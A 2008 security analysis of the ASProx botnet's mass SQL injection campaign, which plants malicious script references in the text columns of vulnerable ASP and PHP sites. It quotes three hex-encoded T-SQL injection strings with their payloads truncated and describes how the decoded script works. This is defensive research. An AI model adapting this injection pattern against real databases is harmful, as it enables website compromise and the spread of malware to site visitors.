ASCII Encoded/Binary String Automated SQL Injection Attack

Michael Zino — May 1, 2008 (Updated: July 24, 2008)

Table of Contents
Introduction
Attack Description
Solutions

Introduction
Research, as well as Google's Cache, indicates that there is a significant number of websites that are still vulnerable to SQL Injection attacks. Despite the fact that input filtering techniques and other protective measures are widely known, it is understandable why this is still the case. Regardless of their underlying technology, it often would be almost impractical to review out dated and/or poorly written websites and eliminate all vulnerabilities in their code bases. Such websites typically use the dynamic construction of ad-hoc SQL queries at run-time quite extensively. Even if a given website is less vulnerable, unintentionally missing even a single security hole could be sufficient to permit a successful SQL Injection attack. Such holes can be easily found during the "study" phase of the site (for example, by crawling the site in question and looking for vulnerable web pages).

Regardless of the complexity and costs involved, a publisher has a responsibility to shield his website from the risk of infection and becoming a virus distributing agent. Publishers of any size must protect their sites' visitors from exposure to malicious scripts at all times.

Financial benefits, such as click-fraud, ad revenue generating zombies, and virtual assets, are generally the driving force behind these types of attacks, as research suggests. However, this can be prevented by use of secure programming and best practices. Ongoing monitoring, detection, and pro-active defensive methods should be utilized within the various layers of any web application.

Attack Description
Recently, we came across a particularly interesting type of SQL Injection that, at times, can be quite difficult to clean, even with the most robust database backup and recovery scheme. This massive and ongoing attack is conducted with the help of an Internet robot—also known as malbot and botnet—which attacks its prospects daily. It is likely that such a botnet fires the series of injection attempts continuously and conditionally until the malicious script references are sensed on the targeted web pages and/or based on detected vulnerability indicators.

The botnet behind this attack, called ASProx, was previously associated with Phishing attacks, and is now indirectly pushing malware through websites that are vulnerable to SQL Injection. The attackers have designed the Asprox botnet to conduct, with the help of Google search engine, an initial research for web pages utilizing ASP (.asp), ASP.NET (.aspx), and PHP (.php) web technologies. The ASProx botnet also utilizes a DNS Fast-Fluxing technique to hide the actual malware delivery sites behind an ever-changing network of compromised hosts acting as proxies. The botnet's infrastructure grows steadily, and our own attack sample indicates it exceeds 43,506 distinct and recurring IP addresses to date.

There is nothing new in the way that the following T-SQL is injected. Yet, the generic nature of the script is somewhat interesting to see.

The following three variants have been injected through an HTTP GET:

';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x44004500 ... 06F007200%20AS%20NVARCHAR(4000));EXEC(@S);--

;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C ... 736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

';DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C ... 72736F72%20AS%20CHAR(4000));EXEC(@S);

And in a more readable form:

DECLARE @S NVARCHAR(4000)
SET @S=CAST(0x4400450043004C00 ... 6F007200 AS NVARCHAR(4000))
EXEC(@S)

DECLARE @S VARCHAR(4000)
SET @S=CAST(0x4445434C41524520 ... 736F7220 AS VARCHAR(4000))
EXEC(@S)

DECLARE @S CHAR(4000)
SET @S=CAST(0x4445434C41524520 ... 736F7220 AS CHAR(4000))
EXEC(@S)

Note that the footprint of the second T-SQL script variant has been significantly decreased by use of ASCII-encoded binary stream instead of a Unicode-encoded binary stream, making its length a widely compatible query component. Although the third variant could possibly have a smaller footprint as well, it uses a slightly different T-SQL script as will be described below. All three variants are currently in use.

Decoding the binary string to its textual form reveals the T-SQL script below, which has been slightly formatted and edited for purposes of clarity. For those who are not proficient in the syntax, the script simply creates a cursor through which it browses for all columns of certain data types (textual) in all user-defined tables underlying the database. Next, the T-SQL script affixes a JavaScript reference (to the malicious script) to the current values contained in each such column.

Since a single page request to which the malicious T-SQL script is appended forces the scanning (and overloading) of the entire database in an effort to widely contaminate its text-based content with malicious script references, simultaneous attacks from the same or synchronized servers (or zombies) have the potential to escalate the original attack vector into a distributed denial of service (also known as DDoS). The response time to the malicious page request can alone be used as an indication of vulnerability to SQL injection, eliminating the need of a study phase prior to attack.